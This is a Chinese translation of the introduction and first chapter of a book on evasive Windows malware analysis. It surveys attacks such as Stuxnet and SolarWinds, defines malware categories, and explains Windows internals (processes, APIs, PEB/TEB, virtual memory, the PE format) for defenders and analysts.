恶意软件入侵指南-全-
恶意软件入侵指南(全)
原文:
zh.annas-archive.org/md5/a95147b59fab287c35fea6257cc6fdd4译者:飞龙
第一章:介绍

这一年是 2010 年。全球威胁研究人员发现了一种新型恶意软件,它使用多种技术感染特定的受害者。它特别针对一种西门子可编程逻辑控制器,这种控制器被用于伊朗核设施中的铀浓缩过程。最终被命名为“Stuxnet”的恶意软件,会分析其运行环境,以确保只感染预定的受害者。由于其针对性的特点,以及其拥有的多种防御规避和隐蔽技术,Stuxnet 长时间未被发现。其使用的一项技术是窃取的代码签名证书,这是一种相对较新的战术,能够赋予恶意软件一种真实性的外观。
快进到 2019 年 1 月。一个被攻破的华硕软件更新服务器正在提供恶意的假更新,这些更新会检查受影响计算机的 MAC 地址。该攻击具有特别的针对性:只有当受害者的计算机拥有一小部分硬编码的地址时,执行文件才会从互联网上下载额外的有效载荷。一旦安装,恶意软件会保持潜伏并未被发现,直到特定的触发条件发生。这次攻击的幕后黑手使用合法的华硕证书为恶意文件签名,帮助有效载荷绕过反恶意软件防御。研究人员将这次攻击命名为“ShadowHammer”。
不久之后,2020 年,世界被一个威胁组织震惊,该组织渗透了 SolarWinds 的网络——这家公司为成千上万的组织提供网络和系统监控软件。威胁行为者将恶意代码注入到 SolarWinds Orion 平台的合法软件更新服务中。这些更新被推送到使用 Orion 的组织中,而恶意代码则悄无声息地有效地将远程访问木马送入受害组织的网络。由于这些攻击者使用了融入目标环境的技术,这次攻击长时间未被发现。该攻击后来被称为“Sunburst”。
在这些攻击中,世界见证了规避:威胁试图在尽可能长的时间内保持隐匿并未被发现,同时保护自己免受宿主和网络防御软件及调查人员的监控。一旦被发现,具有规避性的威胁可能会改变其行为,动态修改其代码,或自我终止,同时销毁所有曾经存在于受害者网络中的证据。
规避和上下文感知的恶意软件是一种高度有效且持久的威胁,要求防御者不断适应。因此,网络安全专业人员和研究人员必须深入了解恶意软件使用的各种规避技术、如何识别它们以及如何克服它们。这本书探讨了常见于 Windows 的规避和上下文感知恶意软件的性质,提供了恶意软件如何利用操作系统的功能和架构来规避检测的技术的洞察。 本书还旨在为恶意软件分析师、取证调查员、前线防御人员、检测工程师、研究人员和学生提供他们理解这些威胁类型并揭开隐藏恶意软件代码的层层防护所需的知识和工具。
在我们开始之前,让我们通过查看一些常见类型的恶意软件及其如何利用规避技术来明确恶意软件究竟是什么。
什么是恶意软件?
一般来说,恶意软件是指任何做恶意事情的软件。看起来很简单,对吧?然而,恶意软件的定义常常存在冲突。Remcos 是一种在开放互联网出售的软件,其作者将其描述为“远程管理工具”。然而,由于任何人都可以购买 Remcos(完全合法,我想补充一下),它通常被用于不良目的,并且具有与一种已知恶意软件——远程访问木马相同的许多功能。另一个例子是 AsyncRAT,一种开源的“远程访问工具”,根据其作者的说法,它“旨在通过安全的加密连接远程监控和控制其他计算机”。那么,Remcos 和 AsyncRAT 是恶意软件吗?答案在很大程度上取决于你问谁、谁在使用它以及使用的目的是什么。上下文是关键。
恶意软件可以分为不同类型,或称为 类别。恶意软件类别是通过不同恶意软件家族中行为和功能的分组来定义的。以下是一些最常见的恶意软件类别:
远程访问木马(RATs)
RATs 用于提供持久的连接或访问受感染系统。RATs 通常可以通过记录按键、向受感染主机发出命令或向主机下载其他恶意软件等技术来监控受感染的主机。
信息窃取者
信息窃取者通常针对受害主机上的敏感信息,如登录凭据、银行信息、加密货币钱包、浏览器历史记录和类似信息。然后,它们将这些数据发送回攻击者。专门针对银行和金融相关数据的银行木马,可以被认为是一种信息窃取者。
下载器和加载器
投放器和加载器旨在将额外的恶意软件部署到系统上。从技术上讲,投放器包含一个嵌入的有效负载,并在执行时将其投放到受害者的系统中。而加载器则从外部资源(如互联网)下载其有效负载。然而,这些术语通常可以互换使用。这些恶意软件变种为额外的恶意软件铺平道路,有时甚至在部署有效负载之前,通过禁用反恶意软件软件和其他终端防御措施来准备受害者主机。
勒索软件
勒索软件旨在阻止受害者访问系统或数据,直到支付一定的金额,通常是以加密货币的形式,给威胁行为者。该恶意软件可能会加密硬盘或系统上的特定文件,“锁定”对文件或程序的访问,或以其他方式阻止受害者按预期使用其系统。攻击者随后要求受害者支付赎金,以换取恢复系统和数据。
擦除程序
擦除程序(或毁灭性软件)与勒索软件是密切相关的。它们旨在破坏受害者系统上的文件,造成损害或影响服务。为了实现这一目的,擦除程序会加密机器上的数据或使用分区工具删除数据。例如,擦除程序通常像勒索软件一样运作,除了它们在加密数据后并不打算解密数据。
蠕虫
蠕虫是一种自我传播的恶意软件。一旦它们感染了一个主机,通常会扫描受害者的网络,寻找其他系统来感染。
病毒
病毒这个词经常与恶意软件同义使用,但这并不完全准确:所有病毒都是恶意软件,但并非所有恶意软件都是病毒。病毒将恶意代码附加到受害者系统上的文件中,当这些文件被发送到另一个受害者并被打开时,病毒会传播到新的受害者主机。
Rootkit 和 Bootkit
Rootkit是恶意软件的特殊变种,旨在隐瞒它们在系统用户和安全工具中的存在。为了避免被发现,Rootkit 通常会修改操作系统的内核级系统组件,这使得攻击者能够保持对被入侵系统的访问权限。Bootkit通常与 Rootkit 有相同的目的,但它们感染的是主引导记录(MBR)或计算机系统引导过程的其他组件,使得它们能够在操作系统加载之前控制系统。
木马
历史上,木马被定义为伪装成合法软件的恶意软件。我将它们列在此清单中是为了完整性,但我不喜欢这个术语及其定义。毕竟,哪种恶意软件不是伪装成合法软件的呢?如果恶意软件告诉我们它是恶意的,我们就不会被它欺骗并执行它。因此,木马是一个过时且经常被滥用的术语。
这份列表涵盖了大部分恶意软件,但并不详尽。其他恶意软件变种包括键盘记录器、加密货币挖矿程序、间谍软件、黑客工具等。需要记住的是,这些恶意软件类型并不总是简单明了,它们之间常常会有重叠。把这些恶意软件看作行为特征,而不是独立的类别,可能会更有帮助。
我们通常将恶意软件分为两大类:常见恶意软件和定制恶意软件。常见恶意软件通常面向大规模市场,无论是在公开的互联网还是在暗网论坛中都能找到。这类恶意软件通常会被多个不同的威胁团体同时使用。常见恶意软件的例子包括 Lokibot 和 Agent Tesla,这是目前流通的两款最流行的恶意软件。定制恶意软件则更加个性化,通常针对某一特定行业,甚至是某个特定公司或个人,且具有非常明确的目标。这类恶意软件的例子包括我们前面提到的 Stuxnet,以及 2022 年俄罗斯入侵乌克兰初期针对乌克兰系统的 HermeticWiper。常见恶意软件可以通过增强定制化功能,变得更具针对性和个性化。
注意
恶意软件存在于所有主要操作系统中,包括(但不限于)Windows、macOS 以及各种 Unix 版本,和 Android、iOS 等移动操作系统。由于 Windows 是最为普及的,我决定在本书中重点讨论 Windows 恶意软件。然而,我们将在本书中讨论的许多规避技术也可以以某种形式在其他操作系统上实现。
什么是恶意软件分析?
恶意软件分析是调查并拆解恶意代码和软件的过程。恶意软件分析师的目标是识别并理解恶意软件样本的行为、功能和潜在影响,以及与之相关的攻击(也称为其背景)。恶意软件分析既是一门艺术,也是一门科学,因为要完全理解一个恶意软件样本,尤其是那些更高级的变种,往往需要大量的创造力,并将这些知识用于检测和防止未来的攻击。正如我们在第三章中讨论的那样,恶意软件分析可以分为两种主要方法:静态分析和动态分析。
为什么恶意软件会使用规避技术?
规避的最终目标是通过避免被检测和分析来实现自我保护。一些恶意软件旨在尽可能长时间地潜伏在受害者的系统或网络中。其他恶意软件则试图在被发现之前尽可能绕过多个网络和主机防御,以便快速执行其有效载荷。恶意软件作者可能出于以下任何原因在其恶意软件中实现规避技术:
妨碍分析
智能恶意软件知道,它最终会被检测到,并且可能会在虚拟机或恶意软件沙箱中被分析员或研究人员调查。现在,恶意软件扫描其宿主系统并寻找运行在分析员实验室中的迹象,已经变得越来越常见。恶意软件还可能搜索分析工具的迹象,例如代码调试器,并干扰它们,以防止、挫败或至少减缓恶意软件分析员理解其潜在行为、功能和代码的努力。
规避防御
网络和宿主防御系统,例如入侵防御系统(IPS)、反恶意软件和端点检测与响应(EDR)产品,对于恶意软件来说是麻烦。规避性威胁会尝试绕过这些防御措施,以便保持在感染宿主上的隐匿状态。
目标系统与上下文分析
威胁如 Stuxnet 会不遗余力地识别其当前运行的系统类型。实施分析技术的恶意软件可能会尝试确定受害者的操作系统、受害者机器上安装的软件,甚至是受害者的物理位置。然后,恶意软件利用这些信息来判断该系统是否是有效目标。如果不是,恶意软件可能会删除所有曾经在受害者主机上存在的证据,从而逃避检测。恶意软件还可能通过分析来确定目标系统或网络中采用的特定防御措施,并根据这些信息改变其行为和功能。
我为何写这本书
多年来,我在网络犯罪及其作案者领域的专心研究中,发现了规避技术使用的增加,甚至在最基础和广泛传播的恶意软件中也是如此。现代恶意软件结合了多种战术,来绕过最强大的沙箱和防御,并尽可能地妨碍分析和调查。曾经只用于更高级或定制恶意软件的技术,现在变得更加普遍。不仅如此,恶意软件中的规避措施也在不断发展,以进一步妨碍分析工作。
本书旨在作为 Windows 平台恶意软件规避技术的入门指南和详尽资源。对于这个领域的新人和经验丰富的专业人员来说,识别并学习基础知识以应对规避威胁可能是具有挑战性的。尽管在这个领域正在进行大量研究,但它仍然相对小众。我坚信,我们作为恶意软件研究人员和安全分析师,越是了解现代威胁行为和新兴趋势,就能越有效地保护我们的组织并防止未来的受害者。
我的希望是,在阅读完本书后,你能拥有明确的策略,能够将其轻松融入到你的恶意软件分析方法或组织的防御措施中。最重要的是,我的目标是激发你对这一领域进一步学习的兴趣。我们必须共同努力,让威胁行为者和恶意软件作者时刻保持警觉。
虽然我认为自己在这一领域有一定的知识,但我也深知还有很多成长和学习的空间。如果你对本书中的内容有任何问题、反馈或额外的见解,请随时联系我。我总是乐于与人讨论网络威胁和恶意软件相关的话题。
谁应该阅读本书
我写这本书是为那些希望更好理解现代和先进恶意软件所采用的规避技术的人们。也许你已经是恶意软件研究员,想要探索恶意软件如何规避和绕过你的分析工具和实验环境。也许你是前线的事件响应者,希望更好地理解如何识别和检测这些类型的威胁,或者你是一个法证分析员,试图了解如何调查被先进恶意软件攻陷的系统。这本书就是为你准备的。
本书内容非常技术化,并不是针对初学者的 Windows 恶意软件分析指南,因此我假设你至少具备中级的网络安全知识,并对恶意软件分析有基本了解。理想情况下,你还应该有反汇编代码的经验。然而,如果你是这些话题的新手,也不用担心:本书的前三章提供了恶意软件分析的速成课程,以及理解后续章节所需的基本概念。
此外,我希望你已经设置了一个恶意软件分析实验环境,以便安全地执行恶意软件。这一点非常重要,因为本书中的所有示例都使用了真实的恶意软件样本。附录 A 包括了设置虚拟机和虚拟化平台进行安全恶意软件分析的指南。
本书结构
本书共分为 4 个部分,包含 17 章,以及 3 个附录。
第一部分,基础知识,为本书的其余部分奠定了知识基准。
第一章:Windows 基础概念 涵盖了 Windows 操作系统的基本概念。
第二章:恶意软件筛查与行为分析 聚焦于恶意软件筛查的基础知识,并分析恶意软件样本的行为,以确定它们如何在感染的系统上运行。
第三章:静态与动态代码分析 涵盖了静态和动态代码分析的基础知识,并讲解了如何使用这些技术揭示恶意软件的真实意图。
第二部分,上下文感知和沙箱规避,探讨了如何通过虚拟机和恶意软件分析沙箱检测到规避恶意软件。
第四章: 枚举操作系统遗留物 讨论了恶意软件如何仔细检查底层操作系统遗留物,以检测分析活动。
第五章: 用户环境与交互检测 解释了恶意软件如何通过枚举用户交互和它运行的环境来阻挠调查。
第六章: 枚举硬件和网络配置 探讨了恶意软件如何检查系统硬件和网络设置,以发现恶意软件分析师的沙箱和虚拟机。
第七章: 运行时环境与虚拟处理器异常 讨论了处理和运行时环境异常如何使恶意软件察觉分析尝试。
第八章: 避免沙箱和干扰分析 探讨了威胁行为者可以用来完全规避和干扰分析环境的几种技术。
第三部分,反逆向,详细介绍了攻击者如何通过复杂化逆向工程过程来对抗恶意软件分析师。
第九章: 反反汇编 解释了恶意软件如何使用反反汇编技术来防止和干扰手动代码分析。
第十章: 反调试 讨论了恶意软件如何检测并规避调试器和动态代码分析。
第十一章: 隐蔽代码执行和误导 演示了恶意软件如何隐蔽地执行代码,或如何使恶意软件分析师迷惑和误导。
第四部分,防御规避,深入探讨了恶意软件如何规避防御控制。
第十二章: 进程注入、操控与钩子技术 揭示了恶意软件如何将恶意代码注入不同进程、操控进程并钩取函数代码。
第十三章: 避免端点和网络防御 介绍了恶意软件如何规避并绕过网络和端点防御。
第十四章: Rootkit 介绍 讨论了一种特别危险的规避恶意软件类型:Rootkit 的基本原理。
第十五章: 无文件、依赖现成工具及反取证技术 探讨了恶意软件如何利用所谓的无文件技术和反取证措施来规避防御和取证工具。
第十六章: 编码与加密 专注于编码和加密技术,提供了分析恶意软件的实用方法。
第十七章: 打包器和解包恶意软件 讨论了恶意软件混淆器和打包器的工作原理,并深入讲解了如何解包恶意代码。
附录包括了建立恶意软件分析实验室的操作步骤;恶意软件可能利用的 Windows API 函数列表,用于规避目的;以及进一步阅读恶意软件及其分析世界的参考资料。
本书的恶意软件样本
本书中,我包含了分析实验室和关于特定恶意软件样本及其家族的信息。我常常引用恶意软件文件的签名,格式为SHA256:hash_value。这是一个例子:
SHA256:b625df3af182060e3ee589f95669a76f43840f93df0a66fb942af51895de5504
我在书中引用的大多数恶意软件样本都可以从 VirusTotal 上下载(https://
最后,在这本书中,我尝试使用了多种恶意软件样本,包括 32 位和 64 位恶意软件。你可能会好奇,为什么我如此关注 32 位代码,而 64 位代码已逐渐取代它。简单的回答是,32 位恶意软件仍然很常见,这可能是因为恶意软件没有动力去转向 64 位架构。它不需要 64 位架构所提供的额外内存地址空间或性能。而且,最重要的是,32 位恶意软件几乎可以在每个版本的 Windows 上运行。请记住,一些人仍然在使用过时的操作系统,如 Windows XP、Windows Server 2003 和 Windows 7,以及更旧的处理器架构。
现在,让我们开始深入探讨 Windows 的基础概念。在第一章见。
第一部分 基础知识
第二章:1 Windows 基础概念

要了解你的对手,首先你必须了解战场。在我们的例子中,战场就是 Windows 操作系统及其底层组件。本章将概述 Windows 架构,并介绍你理解本书后续章节中更高级主题所需的基本概念。
Windows 架构概述
Windows 是一个复杂的操作系统(OS),其架构同样复杂。在本节中,我将介绍一些关键概念,随着章节的推进,我将回顾并详细说明这些概念。
用户模式与内核模式
Windows 架构由两种模式组成:用户模式和内核模式,它们是操作系统的基本组成部分。模式是代码在系统上运行的上下文。用户模式是大多数人在使用计算机时的常见模式;它包括用户与之交互的正常的、日常使用的软件和进程,如 Microsoft Office 程序和网页浏览器。相反,内核模式则保留给操作系统的核心功能:负责重要的低级任务,如内存管理和硬件交互。
运行在用户模式下的代码无法访问或干扰运行在内核模式下的代码;这是一个有意的保护机制,用来防止配置错误或恶意的应用程序改变操作系统环境。这种分离非常重要,因为所有在内核模式下运行的代码和程序共享同一个内存地址空间,这意味着一个行为不当的程序可能导致整个操作系统的崩溃。它还意味着,如果恶意程序能够在内核模式下执行,它就能直接影响操作系统。
图 1-1 展示了用户模式与内核模式之间的关系。

图 1-1:用户模式与内核模式之间的关系
让我们更仔细地看一下这里展示的概念:
应用程序
这些是用户运行的软件和程序。
Windows 应用程序编程接口(WinAPI)
这是应用程序运行所依赖的基础。我将在《Windows API》一节中进一步讨论这个内容,详见第 6 页。
驱动程序
这些控制系统上的各种设备,并在设备与希望与之交互的程序之间提供抽象层。有两种类型的驱动程序。硬件设备驱动程序处理输入/输出(IO)请求,并将其转换为硬件 IO 请求,例如鼠标和键盘。非硬件设备驱动程序控制系统组件,如网络接口和文件系统。一些驱动程序在用户模式下运行,一些在内核模式下运行。
硬件抽象层
这提供了一个接口,设备驱动程序可以用来与底层系统硬件通信。它使内核和高级应用程序能够独立于系统硬件运行。
Windows 内核本身包含在一个名为ntoskrnl.exe的可执行文件中,并分为两部分:内核和执行层。内核负责基本功能,如任务同步和调度;它还提供低级硬件支持,这对于系统高效运行至关重要。执行层包含关键的系统服务,如内存管理器,它实现虚拟内存功能(见“虚拟内存”在第 11 页),以及进程管理器,它处理进程和线程的创建和终止。
进程与线程
当应用程序如Excel.exe或Calculator.exe被执行时,Windows 可执行文件加载器为该程序创建一个进程;该进程包含原始的程序可执行文件以及所有支持库和代码。每个进程在内存中分配有自己的虚拟地址空间,这个空间是私有的,并且对该进程是隔离的。这意味着,如果一个进程崩溃,它不会(或者不应该)影响其他进程或操作系统本身。
Windows 中的每个运行进程都可以托管一个或多个线程。线程仅仅是一系列指令。然而,处理器在任何给定时刻只能运行一个线程。这意味着,如果进程 B 希望执行某些代码,它必须等待进程 A 当前的线程完成。如果 Windows 认为进程 B 更重要,它可以向进程 A 当前的线程发出中断,并改为执行进程 B 的线程。(这称为上下文切换。)Windows 执行上下文切换非常迅速高效,以至于最终用户甚至没有察觉到它在不断发生。
Windows 是一个多任务操作系统。这意味着,当处理器执行指令来运行系统及其应用程序时,它会高效地在用户模式和内核模式之间切换。为此,Windows 使用时间片,这是一种原子性的时间段(以毫秒为单位),分配给每个线程。线程被允许执行其代码,但当时间片到期后,其他线程也能运行。由于时间片非常短,因此系统看起来像是在同时执行多个线程和多个程序。
对象与句柄
进程和线程通常与对象进行交互,对象是某种类型资源的实例,例如文件、另一个进程或线程、安全令牌(用于用户访问权限),甚至是内存的一部分。集中管理对象管理器负责跟踪所有 Windows 对象、在进程间共享它们,并保护它们免受未经授权的访问。
Windows 中的所有对象都是简单的数据结构,通常存储在内核内存中。由于大多数 Windows 应用程序在用户空间中运行,进程使用一个被称为句柄的唯一标识符来访问对象。每个进程可能有多个句柄,用于访问各种对象。句柄在进程的句柄表中进行管理,该表包含指向内核内存中对象的指针,如图 1-2 所示。

图 1-2: Windows 进程句柄表和对象结构
互斥锁(或mutex)是一种控制访问对象的方法,旨在防止像进程 A 和进程 B 尝试同时访问并修改文件的潜在问题,这种情况被称为竞态条件。根据 Windows 如何使用该文件,这种情况可能导致数据不一致,甚至更糟,崩溃进程或操作系统。为了避免像竞态条件这样的意外事件,进程 A 可能会为该文件创建一个互斥对象,锁定文件以供其自身使用,并防止进程 B 在文件解锁之前访问或写入该文件。
程序与这些对象以及操作系统本身的交互由 Windows API 管理。
Windows API
Windows 应用程序编程接口(WinAPI)是一个共享的代码库,向用户模式的应用程序公开。当 Windows 程序运行时,WinAPI 调用 Windows 函数,使程序能够在 Windows 操作系统中按设计方式运行。
WinAPI 涵盖了开发人员可能希望在代码中实现的几乎所有功能:从用户界面、网络功能到输入设备(鼠标、键盘等)、再到内存管理。例如,如果开发人员想为他们的应用程序创建一个新窗口,他们可能会调用 CreateWindowEx 函数。如果程序需要访问硬盘,它可能会调用 GetLogicalDrives 来检索可用硬盘的列表。
还有一个更低级别的 API,叫做 Windows 本地 API,或简称 本地 API。虽然 WinAPI 有很好的文档并设计为开发人员使用,但本地 API 大部分没有文档,至少在微软的官方文档中没有。
注意
幸运的是,逆向工程社区已经付出了巨大努力来记录本地 API 的内部实现。两个很好的例子是“ntinternals”项目(undocumented.ntinternals.net)* 和 Geoff Chappell 的研究(www.geoffchappell.com/studies/windows/win32/ntdll/api/native.htm)。
本地 API 设计为操作系统内部使用,但程序可以直接调用本地 API 函数,前提是它们愿意这样做。反过来,本地 API 函数会调用更底层的内核 API 代码,这些代码存在于 ntoskrnl.exe 中。对内核的调用被称为 syscall 或 sysenter。(syscall 和 sysenter 之间有一些小的技术差异,但它们的目标是一样的:允许用户应用程序访问内核服务。为了简化起见,本书中我将使用 syscall 这个术语。)
图 1-3 演示了 WinAPI 与本地 API 之间的交互。

图 1-3:用户模式 API 调用更低层次的 API
在顶部,你可以看到一个程序调用 WinAPI 函数 VirtualAlloc,然后它又调用了 WinAPI 的 VirtualAllocEx 函数(该函数在此图中未显示)。接着是调用本地 API 的 NtAllocateVirtualMemory 函数。最后,程序调用了 ntoskrnl.exe 中的 NtAllocateVirtualMemory 函数。这一复杂的 API 调用链在 Windows 中非常常见,它允许开发人员在无需了解 Windows 和低级 API 内部实现的情况下进行代码开发。
如你所见,WinAPI 函数通常有一个或多个后缀,如Ex、A或W。一般来说,Ex后缀是微软用来标识较旧函数的更新版(功能更多的扩展版本)。例如,CreateWindowExA函数是CreateWindowA的扩展版本。 A后缀表示该函数使用 ANSI 格式的输入和输出,而带有W后缀的函数则使用 Unicode 格式的输入和输出。关于 ANSI 与 Unicode 的使用差异其实不那么常见,因此我不会进一步讨论这个话题,而且通常不会在函数名称中包含A或W后缀。(例如,我将直接称CreateWindowA为CreateWindow。)但是,对于带有Ex后缀的函数,我会始终保留该后缀。
Windows 本地 API 函数通常以Nt或Zw为前缀;例如,NtCreateProcess和ZwNotifyChangeKey。每个 API 函数通常都有一个Nt版本和一个Zw版本。Zw函数通常由驱动程序和其他低级系统软件使用,但与Nt函数在很大程度上是可以互换的。
你可能还注意到在图 1-3 中提到的文件名kernel32.dll和ntdll.dll。它们指的是动态链接库(DLLs),这些库是开发者可以导入到他们的程序中的资源集合,用来利用微软或第三方开发者现有的代码。虽然 Windows 程序可以导入这些库,但 DLL 文件本身会向导入它们的程序导出函数。例如,如果开发者希望访问 Windows 系统上的硬盘,他们可以导入kernel32.dll库,该库导出(提供)他们所需要的GetLogicalDrives函数。在 Windows 程序中经常使用的一些 DLL 文件如下:
***kernel32.dll ***这是 Windows 程序运行所需的主要 DLL 之一,它包含许多基本的用户模式函数。
***user32.dll ***该 DLL 提供 Windows 程序所需的图形用户界面(GUI)功能。
***Winhttp.dll ***也称为“Windows HTTP 接口”,该 DLL 为 Windows 程序提供互联网连接功能。
***ntdll.dll ***该关键 DLL 包含用于同步、线程处理和其他系统任务的函数;它还与内核进行通信。
注意
如果你正在分析包含从kernel32.dll导出的函数的代码(就像许多函数一样),你可能会注意到,当一个进程执行一个kernel32.dll函数时,会立即跳转到另一个 DLL,kernelbase.dll。kernelbase.dll是在 Windows 7 中引入的,它允许在旧版和新版 Windows 之间保持向后兼容性。大多数kernel32.dll函数调用会直接跳转到kernelbase.dll,它包含函数的实际代码。例如,函数WriteFile(从kernel32.dll导出)一旦调用,就会立即跳转到kernelbase.dll,在那里执行代码。为了简化起见,我将在本书中将kernel32.dll和kernelbase.dll作为同义词使用。
尽管合法的 Windows 程序在很大程度上依赖底层的 WinAPI 和 Native API 来执行,但非法软件(即恶意软件)也利用这些功能,正如你将在后续章节中看到的那样。现在,让我们深入了解进程。
进程内部
进程是相当复杂的数据结构,它们指向其他数据结构。这个网络提供了 Windows 所依赖的基础信息,用于有效管理和协调系统上随时运行的众多进程。
EPROCESS 结构
尽管大多数暴露给终端用户的进程是在用户模式下运行的,但它们在内核地址空间中作为称为EPROCESS结构的对象表示。每个进程都有自己的 EPROCESS 结构,包含指向诸如进程打开的句柄列表以及进程环境块(PEB)的指针,PEB 是一个包含进程关键信息的结构。EPROCESS 结构由一个双向链表组成;也就是说,它们形成一个链,每个结构都链接到前一个和下一个结构。EPROCESS 结构成员称为前向链接(flinks)是指向链中下一个 EPROCESS 结构的指针,而后向链接(blinks)指向前一个结构。图 1-4 展示了这个链的简化版本。

图 1-4:一个 EPROCESS 结构的双向链表链
EPROCESS 结构包含许多其他数据元素和指针,大多数超出了本书的讨论范围。这里的关键要点是,每个 Windows 中的用户模式进程都与一个在内核模式下运行的 EPROCESS 结构相关联。稍后我们在讨论诸如直接内核对象操作(DKOM)等主题时,这一点将变得非常重要,参见第 IV 部分。
进程环境块
PEB 内存结构包含有关正在运行的进程的信息,操作系统内核需要通过这些信息与该进程进行通信,还包括用于进程间通信的信息。每个正在运行的进程都有自己的 PEB,存储在该进程的用户模式地址空间中。表 1-1 列出了 PEB 结构中包含的一些重要数据。每个结构成员的偏移量在 x86 和 x64 架构中都有显示。
表 1-1: PEB 结构偏移量和数据
| 偏移量 (x86) | 偏移量 (x64) | 数据 |
|---|---|---|
| 0x002 | 0x002 | 存储 BeingDebugged 值,表示进程是否在调试器的上下文中运行。(这在第十章中会很重要。) |
| 0x008 | 0x10 | 存储进程可执行文件在内存中的基本地址。 |
| 0x00C | 0x18 | 存储进程加载的模块和库的信息。 |
| 0x018 | 0x30 | 存储有关进程内存堆的信息。 |
| 0x064 | 0xB8 | 存储 NumberOfProcessors 值,表示系统中的处理器数量。 |
你不需要记住 PEB 的所有元素,但了解其基本结构非常重要,因为我将在全书中引用它。
线程环境块
一个线程环境块(TEB),有时也被称为线程信息块(TIB),包含进程运行线程的信息。就像 PEB 一样,它只是一个数据结构,用于存储每个线程的关键信息,并存储在拥有线程的进程的内存地址空间中。表 1-2 列出了 TEB 中一些最有趣的元素。
表 1-2: TEB 结构偏移量和数据
| 偏移量(x86) | 偏移量(x64) | 数据 |
|---|---|---|
| FS:[0x00] | GS:[0x00] | 存储当前的结构化异常处理程序(SEH)框架。(SEH 将在第十章和第十一章中详细介绍。) |
| FS:[0x04] | GS:[0x08] | 指向线程堆栈的基础(见下节)。 |
| FS:[0x18] | GS:[0x30] | 指向 TEB 本身。 |
| FS:[0x20] | GS:[0x40] | 存储 进程 ID(PID) 线程所属进程的 ID。 |
| FS:[0x24] | GS:[0x48] | 存储 线程 ID(TID) 当前线程的 ID。 |
| FS:[0x30] | GS:[0x60] | 指向线程所属进程的 PEB。 |
| FS:[0xE10] | GS:[0x1480] | 指向线程本地存储(TLS)信息。 |
注意
线程本地存储(TLS)用于存储跨线程的变量和其他信息。我们将在第十一章中讨论恶意软件如何滥用 TLS 来悄悄执行恶意代码。
堆栈和堆
一个进程可以有多个活动线程,每个线程都有自己的内存栈。栈是线程存储临时数据的地方,比如变量、指针和其他在线程执行完毕并终止后会被销毁的对象。由于栈是如此易变且临时,程序有时需要一种更“永久”的数据存储解决方案。这时堆就派上了用场。
堆是一个在程序运行时动态分配的、大小可变的内存区域。堆通常用于存储堆栈无法容纳的较大的对象和数据结构。它们还用于存储全局变量和可以被同一程序中多个函数使用的持久数据。需要注意的是,尽管栈大多由操作系统管理,但堆是由程序本身管理的。如果程序没有很好地实现堆内存管理技术,可能会导致稳定性问题。
虚拟内存
在 Windows 中,每个运行中的进程都有分配的多个虚拟内存区域,这些区域映射到物理内存(或 RAM)。理解虚拟内存和物理内存之间的区别是很重要的。物理内存是安装在系统中的实际、可触摸的硬件内存。如果你有一台 8GB RAM 的计算机,那么你就有 8GB 的物理内存,所有在系统中运行的进程都会共享这部分内存。这就带来了一个问题,任何进程都可能干扰到系统中的其他进程(无论是意外的,例如崩溃,还是故意的),从而产生不必要的副作用。这时虚拟内存就发挥了作用。
虚拟内存是物理内存和进程内存地址空间之间的一种屏障。当一个进程启动时,它会分配一块虚拟内存,这块虚拟内存通过页表映射到物理内存。页表跟踪虚拟内存的不同段在 RAM 中的物理位置。图 1-5 展示了虚拟内存、页表和物理内存之间的关系。

图 1-5:通过页表将虚拟内存映射到物理内存
每个包含省略号(...)的块表示一个内存地址范围或区域。每个内存区域都映射到页表。
系统的 RAM 可能不足以满足所有正在运行进程的需求。为了帮助管理这种情况,虚拟内存可以被分页,即当不使用时,它将暂时存储在硬盘上。如果某个进程需要再次访问该虚拟内存区域,该内存可以从磁盘读取并重新映射到物理内存。
你可以使用进程分析工具(如 Process Hacker)查看进程的虚拟内存(<wbr>processhacker<wbr>.sourceforge<wbr>.io)。操作步骤是启动一个程序(如Calculator.exe),打开 Process Hacker,并双击你想要探索的进程。图 1-6 显示了 Process Hacker 中一个进程的内存选项卡。

图 1-6:在 Process Hacker 中查看进程的虚拟内存
基地址列包含分配给Calculator.exe的每个虚拟内存区域的基内存地址。类型列包含每个区域的内存类型,大小列显示每个区域的分配大小,保护列列出了该区域的保护状态。
每个虚拟内存区域通常会分配三种常见内存类型之一:
-
映像(IMG)内存通常包含通过标准 Windows 加载器机制(稍后会描述)映射到内存中的可执行文件或库。
-
映射(MAP)内存通常包含从磁盘映射到内存的文件或应用程序运行过程中使用的其他数据。
-
私有(PRV)内存通常通过 VirtualAlloc 和类似的内存分配函数分配。
此外,每个内存区域可以是已提交的或已保留的。已提交的区域正在被积极使用,并已映射到物理内存中。已保留的区域已为进程保留,但尚未在活动中使用,也尚未映射到 RAM 中。
现在让我们深入探讨 Windows 可执行文件(更具体地说,便携式可执行文件)的内部工作原理。
PE 文件格式
微软为在 Windows 操作系统中运行的可执行文件创建了PE(便携式可执行文件)格式。PE 文件格式包含了 Windows PE 加载器执行嵌入代码所需的所有内容。了解 PE 格式对于理解恶意软件的工作原理至关重要,因此在这一部分我们将深入探讨 PE 格式包含的结构。
注意
我将同时称 x86 和 x64 的 PE 文件为 PE 文件。然而,实际上 x64 有一个自己的 PE 格式版本,称为PE32+。由于 PE32+与 x86 版本只有少许差异,我将不单独讨论它。
头部和节区
PE 文件格式包含多个 头部:文件顶部的元数据或其他信息,告诉操作系统和其他软件如何处理文件内容。DOS 头部包含 MS-DOS 和早期版本 Windows 所需的信息,主要是为了兼容性存在。PE 头部包含 Windows PE 加载器使用的信息,如可执行文件编译时的 CPU 架构和编译时间戳等元数据。PE 头部还包括 可选头部,它指示重要信息,如 PE 的基址(即 PE 映射到内存时的内存地址)、可执行文件内部代码的大小,以及可执行文件将运行的目标操作系统。事实上,现代 Windows 系统中“可选”头部不再是可选的。
PE 文件还包含 区段头部,它包含与文件各个区段(即实际文件内容存储位置)相关的元数据,如区段的大小、地址和其他特征。最后,大多数 PE 文件至少包含以下几个区段:
| .text | 文件的主要可执行代码 |
|---|---|
| .rdata | 只读数据,如静态变量和常量 |
| .bss | 未初始化的数据,如尚未赋值的变量 |
| .data | 未嵌入在 .rdata 和 .bss 区段中的变量,如全局变量 |
| .rsrc | 可执行文件在运行时将加载的资源,如图像、字体和其他支持文件 |
| .idata | 导入地址表(参见下一节) |
| .edata | 导出地址表(参见下一节) |
导入与导出
.idata 和 .edata 区段是 PE 文件中最重要的两个组件之一。.idata 区段包含 PE 文件在运行时导入的函数信息。一旦 PE 文件被执行,程序将加载此处引用的库和函数到内存,并构建其 导入地址表(IAT),该表将导入的 Windows API 函数映射到它们在内存中的地址。
